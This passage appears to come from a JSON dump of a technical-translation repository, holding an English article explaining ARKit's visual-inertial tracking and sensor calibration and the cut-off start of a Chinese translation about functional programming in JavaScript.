    "content": "\n> * 原文地址：[Why is ARKit better than the alternatives?](https://medium.com/super-ventures-blog/why-is-arkit-better-than-the-alternatives-af8871889d6a)\n> * 原文作者：[Matt Miesnieks](https://medium.com/@mattmiesnieks)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/why-is-arkit-better-than-the-alternatives.md](https://github.com/xitu/gold-miner/blob/master/TODO/why-is-arkit-better-than-the-alternatives.md)\n> * 译者：\n> * 校对者：\n\n# Why is ARKit better than the alternatives?\n\n![](https://cdn-images-1.medium.com/max/1600/1*CMMUMdnNBmGdFf2fgegJJw.jpeg)\n\nApple’s announcement of ARKit at the recent WWDC has had a huge impact on the Augmented Reality eco-system. Developers are finding that for the first time a robust and (with IOS11) widely available AR SDK “just works” for their apps. There’s no need to fiddle around with markers or initialization or depth cameras or proprietary creation tools. Unsurprisingly this has led to a boom in demos (follow @madewitharkit on twitter for the latest). However most developers don’t know how ARKit works, or why it works better than other SDKs. Looking “under the hood” of ARKit will help us understand the limits of ARKit today, what is still needed & why, and help predict when similar capabilities will be available on Android and Head Mount Displays (either VR or AR).\n\nI’ve been working in AR for 9 years now, and have built technology identical to ARKit in the past (sadly before the hardware could support it well enough). I’ve got an insiders view on how these systems are built and why they are built the way they are.\n\n![](https://cdn-images-1.medium.com/max/1600/1*uh1y7QZUq87wawGFw2346g.jpeg)\n\nThis blog post is an attempt to explain the technology for people who are a bit technical, but not Computer Vision engineers. I know some simplifications that I’ve made aren’t 100% scientifically perfect, but I hope that it helps people understand at least one level deeper than they may have already.\n\n**What technology is ARKit built on?**\n\n![](https://cdn-images-1.medium.com/max/1600/1*kRZDY5t6kAiNSYa1HcfhPw.jpeg)\n\nTechnically ARKit is a Visual Inertial Odometry (VIO) system, with some simple 2D plane detection. VIO means that the software tracks your position in space (your 6dof pose) in real-time ie your pose is recalculated in between every frame refresh on your display, about 30 or more times a second. These calculations are done twice, in parallel. Your pose is tracked via the Visual (camera) system, by matching a point in the real world to a pixel on the camera sensor each frame. Your pose is also tracked by the Inertial system (your accelerometer & gyroscope — together referred to as the Inertial Measurement Unit or IMU). The output of both of those systems are then combined via a Kalman Filter which determines which of the two systems is providing the best estimate of your “real” position (referred to as Ground Truth) and publishes that pose update via the ARKit SDK. Just like your odometer in your car tracks the distance the car has traveled, the VIO system tracks the distance that your iPhone has traveled in 6D space. 6D means 3D of xyz motion (translation), plus 3D of pitch/yaw/roll (rotation).\n\nThe big advantage that VIO brings is that IMU readings are made about 1000 times a second and are based on acceleration (user motion). Dead Reckoning is used to measure device movement in between IMU readings. Dead Reckoning is pretty much a guess (!) just like if I asked you to take a step and guess how many inches that step was, you’d be using dead reckoning to estimate the distance. I’ll cover later how that guess is made highly accurate. Errors in the inertial system accumulate over time, so the more time between IMU frames or the longer the Inertial system goes without getting a “reset” from the Visual System the more the tracking will drift away from Ground Truth.\n\nVisual / Optical measurements are made at the camera frame rate, so usually 30fps, and are based on distance (changes of the scene in between frames). Optical systems usually accumulate errors over distance (and time to a lessor extent), so the further you travel, the larger the error.\n\nThe good news is that the strengths of each system cancel the weaknesses of the other.\n\nSo the Visual and Inertial tracking systems are based on completely different measurement systems with no inter-dependency. This means that the camera can be covered or might view a scene with few optical features (such as a white wall) and the Inertial System can “carry the load” for a few frames. Alternatively the device can be quite still and the Visual System can give a more stable pose than the Inertial system. The Kalman filter is constantly choosing the best quality pose and the result is stable tracking.\n\nSo far so good, but what’s interesting is that VIO systems have been around for many years, are well understood in the industry, and there are quite a few implementations already in the market. So the fact that Apple uses VIO doesn’t mean much in itself. We need to look at why their system is so robust.\n\nThe second main piece of ARKit is simple plane detection. This is needed so you have “the ground” to place your content on, otherwise it would look like it’s floating horribly in space. This is calculated from the features detected by the Optical system (those little dots you see in demos) and the algorithm just averages them out as any 3 dots defines a plane, and if you do this enough times you can estimate where the real ground is. FYI these dots are often referred to as a “point cloud” which is another confusing term. These dots/points all together are a sparse point cloud, which is used for optical tracking. Sparse point clouds use much less memory and CPU time to track against, and with the support of the inertial system, the optical system can work just fine with a small number of points to track. This is a different type of point cloud to a dense point cloud that can look close to photorealism (note some trackers being researched can use a dense point cloud for tracking… so it’s even more confusing)\n\n**Some mysteries explained**\n\nAs an aside…. I’ve seen people refer to ARKit as SLAM, or use the term SLAM to refer to tracking. For clarification, treat SLAM as a pretty broad term, like say “multi-media”. Tracking itself is a more general term where odometry is more specific, but they are close enough in practice with respect to AR. It can be confusing. There are lots of ways to do SLAM, and tracking is only one component of a comprehensive SLAM system. I view ARKit as being a light or simple SLAM system. Tango or Hololens’ SLAM systems have a greater number of features beyond odometry.\n\nTwo “mysteries” of ARKit are “how do you get 3D from a single lens?” and “how do you get metric scale (like in that tape measure demo)?”. The secret here is to have *really* good IMU error removal (ie making the Dead Reckoning guess highly accurate). When you can do that, here’s what happens:\n\nTo get 3D you need to have 2 views of a scene from different places, in order to do a stereoscopic calculation of your position. This is how our eyes see in 3D, and why some trackers rely on stereo cameras. It’s easy to calculate if you have 2 cameras as you know the distance between them, and the frames are captured at the same time. With one camera, you capture one frame, then move, then capture the second frame. Using IMU Dead Reckoning you can calculate the distance moved between the two frames and then do a stereo calculation as normal (in practice you might do the calculation from more than 2 frames to get even more accuracy). If the IMU is accurate enough this “movement” between the 2 frames is detected just by the tiny muscle motions you make trying to hold your hand still! So it looks like magic.\n\nTo get metric scale, the system also relies on accurate Dead Reckoning from the IMU. From the acceleration and time measurements the IMU gives, you can integrate backwards to calculate velocity and integrate back again to get distance traveled between IMU frames. The maths isn’t hard. What’s hard is removing errors from the IMU to get a near perfect acceleration measurement. A tiny error, which accumulates 1000 time a second for the few seconds that it takes you to move the phone, can mean metric scale errors of 30% or more. The fact that Apple has got this down to single digit % error is impressive.\n\n**What about Tango & Hololens & Vuforia etc?**\n\n![](https://cdn-images-1.medium.com/max/1600/1*fFJ9fSeTrjWPJJ-52qP6yA.jpeg)\n\nSo Tango is a brand, not really a product. It consists of a hardware reference design (RGB, fisheye, Depth cameras and some CPU/GPU specs) and a software stack which provides VIO (motion tracking), Sparse Mapping (area learning), and Dense 3D reconstruction (depth perception).\n\nHololens has exactly the same software stack, but includes some ASICs (which they call Holographic Processing Units) to offload processing from the CPU/GPU and save some power.\n\nVuforia is pretty much the same again, but it’s hardware independent.\n\nAll the above use the same VIO system (Tango & ARKit even use the same code base originally developed by FlyBy!). Neither Hololens or Tango use the Depth Camera for tracking (though I believe they are starting to integrate it to assist in some corner cases). So why is ARKit so good?\n\nThe answer is that ARKit isn’t really any better than Hololens (I’d even argue that Hololens’ tracker is the best on the market) but Hololens hardware isn’t widely available. Microsoft could have shipped the Hololens tracker in a Windows smartphone, but I believe they chose not to for commercial reasons (ie it would have added a fair bit of cost & time to calibrate the sensors for a phone that would sell in low volumes, and a MSFT version of ARKit would not by itself convince developers to switch from IOS/Android)\n\nGoogle also could easily have shipped Tango’s VIO system in a mass market Android phone over 12 months ago, but they also chose not to. If they did this, then ARKit would have looked like a catch up, instead of a breakthrough. I believe (without hard confirmation) that this was because they didn’t want to have to go through a unique sensor calibration process for each OEM, where each OEMs version of Tango worked not as well as others, and Google didn’t want to just favor the handful of huge OEMs (Samsung, Huawei etc) where the device volumes would make the work worthwhile. Instead they pretty much told the OEMs “this is the reference design for the hardware, take it or leave it”. (Of course it’s never that simple, but that’s the gist of the feedback OEMs have given me). As Android has commoditized smartphone hardware, the camera & sensor stack is one of the last areas of differentiation so there was no way the OEMs would converge on what Google wanted. Google also mandated that the Depth Camera was part of the package, which added a lot to the BOM cost of the phone (and chewed battery), so that’s another reason the OEMs said “no thanks”! Since ARKit the world has changed…. it will be interesting to see whether (a) the OEMs find alternative systems to Tango ; or (b) there are concessions made by Google on the hardware reference design (and thus control of the platform).\n\nSo ultimately the reason ARKit is better is because Apple could afford to do the work to tightly couple the VIO algorithms to the sensors and spend *a lot* of time calibrating them to eliminate errors / uncertainty in the pose calculations.\n\nIt’s worth noting that there are a bunch of alternatives to the big OEM systems. There are many academic trackers (ORB Slam is a good one, OpenCV has some options etc) but they are nearly all Optical only (mono RGB, or Stereo, and/or Depth camera based, some use sparse maps, some dense, some depth maps and others use semi-direct data from the sensor. There are lots of ways to skin this cat). There are a number of startups working on tracking systems, Augmented Pixels has one that performs well, but at the end of the day any VIO system needs the hardware modelling & calibration to compete.\n\n**I’m a Developer, what should I use & why? a.k.a. Burying the lede**\n\n![](https://cdn-images-1.medium.com/max/1600/1*mNQavIaFI-ZB4Z7AacYMdQ.jpeg)\n\nStart developing your AR idea on ARKit. It works and you probably already have a phone that supports it. Learn the HUGE difference in designing and developing an app that runs in the real world where you don’t control the scene vs. smartphone or VR apps where you control every pixel.\n\nThen move onto Tango or Hololens. Now learn what happens when your content can interact with the 3D structure of the uncontrolled scene.\n\nThis is a REALLY STEEP learning curve. Bigger than from web to mobile or from mobile to VR. You need to completely rethink how apps work and what UX or use-cases make sense. I’m seeing lots of ARKit demos that I saw 4 years ago built on Vuforia and 4 years before that on Layar. Developers are re-learning the same lessons, but at much great scale. I’ve seen examples of pretty much every type of AR Apps over the years and am happy to give feedback and support. Just reach out.\n\nI would encourage devs not to be afraid of building Novelty apps. Fart apps were the first hit on smartphones… also it’s very challenging to find use-cases that give Utility via AR on handheld see-through form-factor hardware.\n\n**Its a very small world. Not many people can build these systems well.**\n\n![](https://cdn-images-1.medium.com/max/1600/1*OpVtNYCakmdjhaFCNBAiTA.jpeg)\n\nOne fascinating and underappreciated aspect of how great quality trackers are built is that there are literally a handful of people in the world who can build them. The interconnected careers of these engineers has resulted in the best systems converging on monocular VIO as “the solution” for mobile tracking. No other approach delivers the UX (today).\n\nVIO was first implemented at Boston military/industrial supplier Intersense in the mid 2000s. One of the co-inventors Leonid Naimark was the chief scientist at my startup Dekko in 2011. After Dekko proved that VIO could not run on an IPad 2 due to sensor limitations, Leonid went back to military contracting, but Dekko’s CTO Pierre Georgel is now a senior engineer on the Google Daydream team. Ogmento was founded by my Super Ventures partner Ori Inbar. Ogmento became FlyBy and the team there successfully built a VIO system on IOS leveraging an add-on fish eye camera. This code-base was licenced to Google which became the VIO system for Tango. Apple later bought FlyBy and the same codebase is the core of ARKit VIO. The CTO of FlyBy went on to build the tracker for Daqri, and is now at an autonomous robotics company, with the former Chief Scientst of Zoox, who did his post-doc at Oxford (alongside my co-founder at 6D.ai who currently leads the Active Vision Lab). The first mobile SLAM system was developed around 2007 at the Oxford Active Computing lab (PTAM) by George Klein who went on to build the VIO system for Hololens, along with David Nister, who left to build the autonomy system at Tesla. George’s fellow PhD student Gerhard Reitmayr led the development of Vuforia’s VIO system. The Eng leader of Vuforia, Eitan Pilipski is now leading AR software engineering at Snap. Key members of the research teams at Oxford, Cambridge & Imperial College developed the Kinect tracking systems, and now lead tracking teams at Oculus and Magic Leap.\n\nInterestingly I’m not aware of any AR startups working in this domain led by engineering talent from this small talent pool, and founders from backgrounds in Robotics or other types of Computer Vision haven’t been able to demonstrate systems that work robustly in a wide range of environments.\n\nI’ll talk a bit later about what the current generation of research scientists are working on. Hint: It’s not VIO.\n\n**Performance is Statistics**\n\n![](https://cdn-images-1.medium.com/max/1600/1*MwQ45PxH8q5TVqLhBMKJFA.jpeg)\n\nAR systems never “work” or “don’t work”. It’s always a question of do things work good enough is a wide enough range of situations. Getting “better” ultimately is a matter of nudging the statistics further in your favor.\n\nFor this reason NEVER trust a demo of an AR App, especially if it’s been shown to be amazing on YouTube. There is a HUGE gap between something that works amazingly well in a controlled or lightly staged environment, and then it barely works at all for regular use. This situation just doesn’t exist for smartphone or VR app demos (eg imagine if Slack worked or didn’t work based on where your camera happened to be pointing or how you happened to move your wrist), so viewers are often fooled.\n\nHere’s a specific technical example of why statistics end up determining how well a system works\n\nIn this image we have a grid which represents the digital image sensor in your camera. Each box is a pixel. For tracking to be stable, each pixel should match a corresponding point in the real world (assuming the device is perfectly still). However… the second image shows that photons are not that accommodating and various intensities of light fall wherever they want and each pixel is just the total of the photons that hit it. Any change in the light in the scene (a cloud passes the sun, the flicker of a fluorescent light etc) changes the makeup of the photons that hit the sensor, and now the sensor has a different pixel corresponding to the real world point. As far as the Visual tracking system is concerned, you have moved! This is the reason why when you see the points in the various ARKit demo’s they flicker on & off, as the system has to decide which points are “reliable” or not. Then it has to triangulate from those points to calculate the pose, averaging out the calculations to get the best estimate of what your actual pose is. So any work that can be done to ensure that statistical errors are removed from this process results in a more robust system. This requires tight integration & calibration between the camera hardware stack (multiple lenses & coatings, shutter & image sensor specifications etc) and the IMU hardware and the software algorithms.\n\n**Integrating Hardware & Software**\n\n![](https://cdn-images-1.medium.com/max/1600/1*LbUBiWNczz3hSzvxAxqgcw.jpeg)\n\nFunnily enough, VIO isn’t that hard to get working. There are a number of algorithms published & quite a few implementations exist. It is **very** hard to get it working well. By that I mean the Inertial & Optical systems converge almost instantly onto a stereoscopic map, and metric scale can be determined with low single digit levels of accuracy. The implementation we built at Dekko for example required that the user made specific motions initially then moved the phone back & forth for about 30 seconds before it converged. To build a great inertial tracking system needs experienced engineers. Unfortunately there are only about 20 engineers on earth with the necessary skills and experience, and most of them work building cruise missile tracking systems, or mars rover navigation systems etc. Not consumer mobile.\n\nSo even if you have access to one of these people, everything still depends on having the hardware and software work in lockstep to best reduce errors. At it’s core this means an IMU that can be accurately modelled in software, full access to the entire camera stack & detailed specs of each component in the stack, and most importantly… the IMU and Camera need to be very precisely Clock Synched. The system needs to know exactly which IMU reading corresponds to the beginning of the frame capture, and which to the end. This is essential for correlating the two systems, and until recently was impossible as the hardware OEMs saw no reason to invest in this. This was the reason Dekko’s iPad 2 based system took so long to converge. The first Tango Peanut phone was the first device to accurately clock synch everything, and was the first consumer phone to offer great tracking. Today the systems on chips from Qualcom and others have a synched sensor hub for all the components to use which means VIO is viable on most current devices, with appropriate sensor Calibration.\n\nBecause of this tight dependency on hardware and software, it has been almost impossible for a software developer to build a great system without deep support from the OEM to build appropriate hardware. Google invested a lot to get some OEMs to support the tango hw spec. MSFT, Magic Leap etc are building their own hardware, and it’s ultimately why Apple has been so successful with ARKit as they have been able to do both.\n\n**Optical Calibration**\n\n![](https://cdn-images-1.medium.com/max/1600/1*oCmGDa6essRDMTC7v16aRA.jpeg)\n\nIn order for the software to precisely correlate whether a pixel on the camera sensor matches a point in the real world, the camera system needs to be accurately calibrated. There are two types of calibration:\n\nGeometric Calibration: This uses a pinhole model of a camera to correct for the Field of View of the lens and things like the barrel effect of a lens. Bascially all the image warping due to the shape of the lens. Most software devs can do this step without OEM input using a checkerboard basic camera specs.\n\nPhotometric Calibration: This is a lot more involved and usually requires the OEMs involvement as it gets into the specifics of the image sensor itself, and any coatings on internal lenses etc. This calibration deals with color and intensity mapping. For example telescope attached cameras photographing far away stars need to know whether that slight change in light intensity on a pixel on the sensor is indeed a star, or just an aberation in the sensor or lens. The result for a tracker is much higher certainty that a pixel on the sensor does match a real world point, and thus the optical tracking is more robust with fewer errors.\n\nIn the slide image above, the picture of the various RGB photons falling into the bucket of a pixel on the image sensor illustrates the problem. Light from a point in the real world usually falls across the boundary of several pixels and each of those pixels will average the intensity across all the photons that hit it. A tiny change in user motion or a shadow in the scene, or a flickering fluorescent light will change which pixel best represents the real world point. This is the error that all these optical calibrations are trying to eliminate as best as possible.\n\n**Inertial Calibration**\n\n![](https://cdn-images-1.medium.com/max/1600/1*9p9WKsNb9MgGKFlyOhGhig.jpeg)\n\nWhen thinking about the IMU, it’s important to remember it measures acceleration, not distance or velocity. Errors in the IMU reading accumlate over time, very quickly! The goal of calibration & modelling is to ensure the measurement of distance (double integrated from the acceleration) is accurate enough for X fractions of a second. Ideally this is a long enough period to cover when the camera loses tracking for a couple of frames as the user covers the lens or something else happens in the scene.\n\nMeasuring distance using the IMU is called Dead Reckoning. It’s basically a guess, but the guess is made accurate by modelling how the IMU behaves, finding all the ways it accumulates errors then writing filters to mitigate those errors. Imagine if you were asked to take a step then guess how far you stepped in inches. A single step & guess would have a high margin of error. If you repeatedly took thousands of steps, measured each one and learned to allow for which foot you stepped with, the floor coverings, the shoes you were wearing, how fast you moved, how tired you were etc etc then your guess would eventually become very accurate. This is bascially what happens with IMU calibration & modelling.\n\nThere are many sources of error. A robot arm is usually used to repeatedly move the device in exactly the same manner over & over and the outputs from the IMU are captured & filters written until the output from the IMU accurately matches the Ground Truth motion from the Robot arm. Google & Microsoft even sent their devices up into microgravity on the ISS or “zero gravity flights” to eliminate additional errors.\n\n![](https://cdn-images-1.medium.com/max/1600/1*H-6eLqGWhy_SCHzvUWgqxw.jpeg)\n\nThis is just a few of the errors that have to be identified from a trace like the RGB lines in the graph…\nThis is even harder than it sounds to get really accurate. It’s also a PITA for an OEM to have to go through this process for all the devices in their portfolio and even then many devices may have different IMUs (eg a Galaxy 7 may have IMUs from Invensense or Bosch, and of course the modelling for the Bosch doesn’t work for the Invensense etc). This is another area where Apple has an advantage over Android OEMs.\n\n**The Future of Tracking**\n\n![](https://cdn-images-1.medium.com/max/1600/1*-5aMhxnmjzXOBc4-i0wPgg.jpeg)\n\nSo if VIO is what works today, what’s coming next and will it make ARKit redundant? Surprisingly VIO will remain the best way to track over a range of several hundred meters (for longer than that, the system will need to relocalize using a combination of GPS fused into the system plus some sort of landmark recognition). The reason for this is that even if other optical only systems get as accurate as VIO, they will still require more (GPU or camera) power, which really matters in a HMD. Monocular VIO is the most accurate lowest power, lowest cost solution\n\nDeep Learning is really having an impact in the research community for tracking. So far the deep learning based systems are about 10% out wrt errors where a top VIO system is a fraction of a %, but they are catching up and will really help with outdoor relocalization.\n\nDepth Cameras can help a VIO system in a couple of ways. Accurate measurement of ground truth & metric scale and edge tracking for low features scenes are the biggest benefits. They are very power hungry, so it only makes sense to run them at a very low frame rate and use VIO in between frames. They also don’t work outdoors as the background Infrared scatter from sunlight washes out the IR from the depth camera. They also have their range dependent on their power consumption, which means on a phone, very short range (a few meters). They are also expensive in terms of BOM cost, so OEMs will avoid them for high volume phones.\n\nStereo RGB or Fisheye lenses both help with being able to see a larger scene (and thus potentially more optical features eg a regular lens might see a white wall, but a fisheye could see the patterned ceiling and carpet as well — Tango and Hololens use this approach) and possibly getting depth info for a lower compute cost than VIO, though VIO does it just as accuarately for lower bom and power cost. Because the stereo cameras on a phone (or even a HMD) are close together, their accurate range is very limited for depth calculations (cameras a couple of cm apart can be accurate for depth up to a couple of meters).\n\nThe most interesting thing coming down the pipeline is support for tracking over much larger areas, especially outdoors for many km. At this point there is almost no difference between tracking for AR and tracking for self driving cars, except AR systems do it with fewer sensors & lower power. Because eventually any device will run out of room trying to map large areas, a cloud supported service is needed, and Google recently announced the Tango Visual Positioning Service for this reason. We’ll see more of these in coming months. It’s also a reason why everyone cares so much about 3D maps right now.\n\n**The Future of AR Computer Vision**\n\n![](https://cdn-images-1.medium.com/max/1600/1*4CYPyi8NYq9T8VcUNaZ0WQ.jpeg)\n\n6Dof position tracking will be completely commoditized in 12–18 months, across all devices. What is still to be solved are things like:\n\n3D reconstruction (Spatial Mapping in Hololens terms or Depth Perception in Tango terms). This is the system being able to figure out the shape or structure of real objects in a scene. It’s what allows the virtual content to collide into and hide behind (occlusion) the real world. It’s also the feature that confuses people as they think this means AR is now “Mixed” reality (thanks Magic Leap!). It’s always AR, just most of the AR people have seen has no 3D reconstruction support so the content appears to just move in front of real world objects. 3D reconstruction works by capturing a point cloud from the scene (today using a depth camera) then converting that into a mesh, and feeding the “invisible” mesh into Unity (along with the real world coordinates) and placing the real world mesh exactly on top of the real world as it appears in the camera. This means the virtual content appears to interact with the real world. Note ARKit does a 2D version of this today by detecting 2D planes. This is the minimum that is needed. Without a Ground Plane, the Unity content literally wouldn’t have a ground to stand on and would float around.\n\n![](https://cdn-images-1.medium.com/max/1600/1*63S5wmcPciT0iDUdOiyTWw.jpeg)\n\nMagic Leap’s demo showing occlusion of the Robot behind a table leg. No idea whether the table leg was reconstructed in real time & fed into Unity or they pre-modelled it and virtually put it in place over the real table by hand for this demo.\nAll the issues with Depth Cameras above still apply here, which is why it’s not widely available. Active research is underway to support real-time photorealistic 3D reconstruction using a single RGB camera. It’s about 12–18 months away from being seen in products. This is one major reason why I think “true” consumer AR HMD’s are still at *least* this far away.\n\n![](https://cdn-images-1.medium.com/max/1600/1*dWuPiA8zq4x7T6db2lI7NA.jpeg)\n\nThe 3D recosntrctuion system of my old startup Dekko at work back in 2012 on an iPad 2. We had to include the grid otherwise users would not believe what they were seeing (that the system could understand the real world). The buggy has just done a jump & is partly hidden behind the tissue box\nAfter 3D reconstruction there is a lot of interesting research going on around semanticly understanding 3D scenes. Nearly all the amazing computer vision deep learning that you’ve seen uses 2D images (regular photos) but for AR (and cars, drones etc) we need to have a semantic understanding of the world in 3D. New initiatives like ScanNet will help a lot, similar to the way ImageNet helped with 2D semantics.\n\n![](https://cdn-images-1.medium.com/max/1600/1*5297b3XAehlprZaAI3PNuQ.jpeg)\n\nAn example of 3D semantic segmentation of a scene. The source image is at the bottom, above it is the 3D model (maybe built from stereo cameras, or LIDAR) and on top of is the segmentation via Deep Learning, so we can tell the sidewalk from the road. This is also useful for Pokemon Go so Pokemon are not placed in the middle of a busy road….\nThen we need to figure out how to scale all this amazing tech to support multiple simultaneous users in real-time. It’s the ultimate MMORG.\n\n![](https://cdn-images-1.medium.com/max/1600/1*6Dhoz_grn3D8ipadNlLm7Q.jpeg)\n\nAs the 3D reconstructions get bigger, we need to figure out how to host them in the cloud and let multiple users share (and extend) the models,\n**The future of other parts of AR**\n\nIt’s beyond the scope of this post to get into all these (future posts?) but there is a lot of work to happen further up the tech stack:\n\n- optics: Field of View, eyebox size, resolution, brightness, depth of focus, vergence accomodation all still need to be solved. I think we’ll see several “in between” HMD designs which only have limited sets of features, intending to “solve” only 1 problem (eg social signaling, or tracking, or an enterprise use case, or something else) before we see the ultimate consumer solution.\n- rendering: making the virtual content appear coherent with the real world. Determining real light sources and virtually matching them so shadows & textures look right etc. This is basically what Hollywood SFX have been doing for years (so the avengers look real etc) but in real-time, on a phone, with no control over real world lighting or backgrounds etc. Non-trivial to say the least.\n- Input: this is still a long way from being solved. Research indicates that a multi-modal input system gives by far the best results. Rumors indicate this is what Apple is going to ship. Multi-modal just means various input “modes” (gestures, voice, computer vision, touch, eye tracking etc) are all considered simultaneously by an AI to best understand a users intent.\n- the GUI and Apps: There’s no such thing as an “app” as we think of them for AR. We just want to look at our Sonos and have the controls appear, virtually on the device. We don’t want to select a little square Sonos button. Or do we? What controls do we want always in our field of view (like a fighter pilot HUD) vs attached to the real word objects. No one has any real idea how this will play out, but it won’t be a 4 x 6 grid of icons.\n- Social problems need to be solved. IMO only Apple & Snap have any idea how to sell fashion, and AR HMD’s will be a fashion driven purchase. This is probably a harder problem to solve than all the tech problems above.\n\nThank you for getting this far! Please reach out with any questions or comments or requests for future posts\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/why-learn-functional-programming-in-javascript-composing-software.md",
    "content": "> * 原文地址：[Why Learn Functional Programming in JavaScript? (Composing Software)(part 2)](https://medium.com/javascript-scene/why-learn-functional-programming-in-javascript-composing-software-ea13afc7a257)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[gy134340](https://github.com/gy134340)\n> * 校对者：[sunui](https://github.com/sunui),[avocadowang](https://github.com/avocadowang)\n\n# [第二篇] 为什么用 JavaScript 学习函数式编程？（软件编写）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg\">\n\n烟雾的方块艺术 —MattysFlicks —(CC BY 2.0)\n> 注意：这是从基础学习函数式编程和使用 JavaScript ES6+ 撰写软件的第二部分。保持关注，接下来还有很多！\n>  [第一篇](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md) | [第三篇 >](https://github.com/xitu/gold-miner/blob/master/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md)\n\n忘掉你认为知道的关于 JavaScript 的一切，用初学者的眼光去看待它。为了帮助你做到这一点，我们将会从头复习一下 JavaScript 的基础，就像你与其尚未谋面一样。如果你是初学者，那你就很幸运了。最终从零开始探索 ES6 和函数式编程！希望所有的概念都被解释清楚 — 但不要太依赖于此。\n\n如果你是已经熟悉 JavaScript 或者纯函数式语言的老开发者了，也许你会认为 JavaScript 是探索函数式编程有趣的选择。把这些想法放在一边，用更开放的思想接触它，你会发现 JavaScript 编程更高层次的东西。一些你从来不知道的东西。\n\n由于这个被称为“组合式软件”，同时函数式编程是明显的构建软件的方法（使用函数组合，高阶函数等等），你也许想知道为什么我不用 Haskell、ClojureScript,或者 Elm，而是 JavaScript。\n\nJavaScript 有函数式编程所需要的最重要的特性：\n\n1. **一级公民函数：** 使用函数作为数据值的能力：用函数传参，返回函数，用函数做变量和对象属性。这个属性允许更高级别的函数，使偏函数应用、柯里化和组合成为可能。\n2. **匿名函数和简洁的 lambda 语法：** `x => x * 2` 是 JavaScript 中有效的函数表达式。简洁的 lambda 语法使得高阶函数变的简单。\n3. **闭包：** 闭包是一个有着自己独立作用域的捆绑函数。闭包在函数被创建时被创建。当一个函数在另一个函数内部被创建，它可以访问外部函数的变量，即使在外部函数退出后。通过闭包偏函数应用可以获取内部固定参数。固定的参数时绑定在返回函数的作用域范围内的参数。在 `add2(1)(2)` 中，`1` 是 `add2(1)` 返回的函数中的固定参数。\n\n### JavaScript 缺少了什么\n\nJavaScript 是多范式语言，意味着它支持多种风格的编程。其他被 JavaScript 支持的风格包括过程式（命令式）编程（比如 C），把函数看作可以被重复调用和组织的子程序指令；面向对象编程，对象— 而不是函数— 作为初始构造块；当然，还有函数式编程。多范式编程语言的劣性在于命令式和面向对象往往意味着所有东西都是可变的。\n\n可变性指的是数据结构上的变化。比如：\n\t\n\tconst foo = {\n\t  bar: 'baz'\n\t};\n\n\tfoo.bar = 'qux'; // 改变\n\n对象通常需要可变性以便于被方法更新值，在命令式的语言中，大部分的数据结构可变以便于数组和对象的高效操作。\n\n下面是一些函数式语言拥有但是 JavaScript 没有的特性：\n\n1. **纯粹性：** 在一些函数式语言中，纯粹性是强制的，有副作用的表达式是不被允许的。\n2. **不可变性：** 一些函数式语言不允许转变，采用表达式来产生新的数据结构来代替更改一个已存的数据结构，比如说数组或者对象。这样看起来可能不够高效，但是大多数函数式语言在引擎下使用 trie 数据结构，具有结构共享的特点：意味着旧的对象和新的对象是对相同数据的引用。\n3. **递归：** 递归是函数引用自身来进行迭代的能力。在大多数函数式语言中，递归是迭代的唯一方式，它们没有像 `for` 、`while`、`do` 这类循环语句。\n\n**纯粹性：** 在 JavaScript 中，纯粹性由约定来达成，如果你不是使用纯函数来构成你的大多数应用，那么你就不是在进行函数式风格的编程。很不幸，在 JavaScript 中，你很容易就会不小心创建和使用一些不纯的函数。\n\n**不可变性：** 在纯函数式语言中，不可变性通常是强制的，JavaScript 缺少函数式语言中高效的、基于 trie 树的数据结构，但是你可以使用一些库，包括 [Immutable.js](https://facebook.github.io/immutable-js/) 和 [Mori](https://github.com/swannodette/mori)，由衷期望未来的 ECMAScript 规范版本可以拥抱不可变数据结构。\n\n有一些迹象带来了希望，比如说在 ES6 中添加了 `const` 关键字，`const` 声明的变量不能被重新赋值，重要的是要理解 `const` 所声明的值并不是不可改变的。\n\n`const` 声明的对象不能被重新声明为新的对象，但是对象的属性却是可变的，JavaScript 有 `freeze()` 对象的能力，但是这些对象只能在根实例上被冻结，意味着嵌套着的对象还是可以改变它的属性。换句话说，在 JavaScript 规范中看到真正的不可变还有很长的路要走。\n\n**递归：** JavaScript 技术上支持递归，但是大多数函数式语言都有尾部调用优化的特性，尾部调用优化是一个允许递归的函数重用堆栈帧来递归调用的特性。\n\n没有尾部调用优化，一个调用的栈很可能没有边界导致堆栈溢出。JavaScript 在 ES6 规范中有一个有限的尾调用优化。不幸的是，只有一个主要的浏览器引擎支持它，这个优化被部分应用随后从 Babel(最流行的 JavaScript 编译器，在旧的浏览器中被用来把 ES6 编译到 ES5) 中移除。\n\n最重要的事实：现在使用递归来作为大的迭代还不是很安全 — 即使你很小心的调用尾部的函数。\n\n### 什么又是 JavaScript 拥有但是纯函数式语言缺乏的\n\n一个纯粹主义者会告诉你 JavaScript 的可变性是它的重大缺点，这是事实。但是，引起的副作用和改变有时候很有用。事实上，不可能在规避所有副作用的情况下开发有用的现代应用。纯函数式语言比如说 Haskell 使用副作用，使用 monads 包将有副作用的函数伪装成纯函数，从而使程序保持纯净，尽管用 Monads 所带来的副作用是不纯净的。\n\nMonads 的问题是，尽管它的使用很简单，但是对一个不是很熟悉它的人解释清楚它有点像“对牛谈琴”。\n\n> “Monad说白了不过就是自函子范畴上的一个幺半群而已，这有什么难以理解的?” ～James Iry 所引用 Philip Wadler 的话，解释一个 Saunders Mac Lane 